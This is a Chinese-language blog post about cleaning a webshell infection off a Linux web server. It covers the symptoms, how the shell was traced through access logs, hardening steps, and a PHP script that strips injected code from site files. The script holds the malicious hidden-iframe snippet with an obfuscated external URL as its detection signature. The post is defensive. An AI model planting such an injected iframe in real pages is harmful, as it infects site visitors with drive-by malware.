LINUX下WebShell的查杀

相信每位系统管理所管理的LINUX服务器都中过WebShell之类的***吧~~很不幸~~前两天我也中了一会奖~~~这里将查杀经验分享给大家

现象:服务器上的网页由一个到数个,慢慢全部打不开,输入网址后浏览器显示的是白屏

我 当时就估计可能是文件被差异了而已代码,我打开WEB服务目录后发现很多htm、html、php文件的最后都被加了一段恶意代码(代码内容我就不发上来 了)。最初想的比较简单,认为是有人通过论坛的上传附件功能以及DZ的HOMESHOW功能上传了恶意图片,就写了个PHP的程序清理了下WEB服务目录 里所有的恶意代码。
但第二天早上有出现了同样的现象,之前只是怀疑服务器被挂马,但看到第二天早上又出现了同样的情况,我就确定服务器被人挂马 了。我开始检查WEB服务器的访问日志,过滤其中的上传条目,从中寻找异常信息。发现在有些不可能存在PHP文件的目录被有IP上传了个PHP文件,找到 这个文件件后VI一看,可不就是***了。
找到***后就好办了,为了防止服务器被利用这个***上传了多个***,我根据这个***的一些关键字写在整个根做了几次文件内容搜索,过滤出有相关内容的文件,并逐一检查和删除。
最后,在PHP配置文件里打开了安全模式,并禁止在静态页面目录和非WEB服务目录运行PHP程序,以及禁止PHP执行相关系统名。

下面附上查找并替换文件中恶意代码的PHP程序
<?php
error_reporting(0);
set_time_limit(0);

function dirtree($path='./') {
    $astr[] = '<iframe src=http://jeiurui9%2E%63%6E/j14/j14.htm width=100 height=0></Ifram
e>';
    $astr[] = '查找内容的关键字';

    $exts = array('swf', 'attach', 'rar', 'bmp', 'zip', 'dat','log', 'psd', 'png', 'sql',
'tpl', 'txt', 'phtml', 'css', 'js', 'php', 'html', 'htm', 'inc', 'xml', 'dll', 'bak', 'gif
', 'jpg');

    $d = dir($path);
    while(false !== ($v = $d->read())) {

        if($v == '.' || $v == '..' || $v == 'fix_file.php') continue;
        $file = $d->path.'/'.$v;

        $file = str_replace('//', '/', $file);
        if (is_dir($file)) {
            dirtree($file);
        } else {
            $files = explode('.', $file);
            $ext = array_pop($files);
            if (in_array($ext, $exts)) {
                $tmp_content = file_get_contents($file);
                if (strpos($tmp_content, 'jeiurui9') || strpos($tmp_content, '/j14/j14.htm
')) {
                    $safe_content = str_replace($astr, '', $tmp_content);
                    file_put_contents($file, $safe_content);
                    echo "fix $file\n";
                } else {
                   // echo "ok $file\n";
                }
            }
        }
    }

    $d->close();
}

dirtree(dirname(__FILE__));
?>
 

本文出自 “凝固瞬间” 博客,请务必保留此出处http://21wmd.blog.51cto.com/206183/207601

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章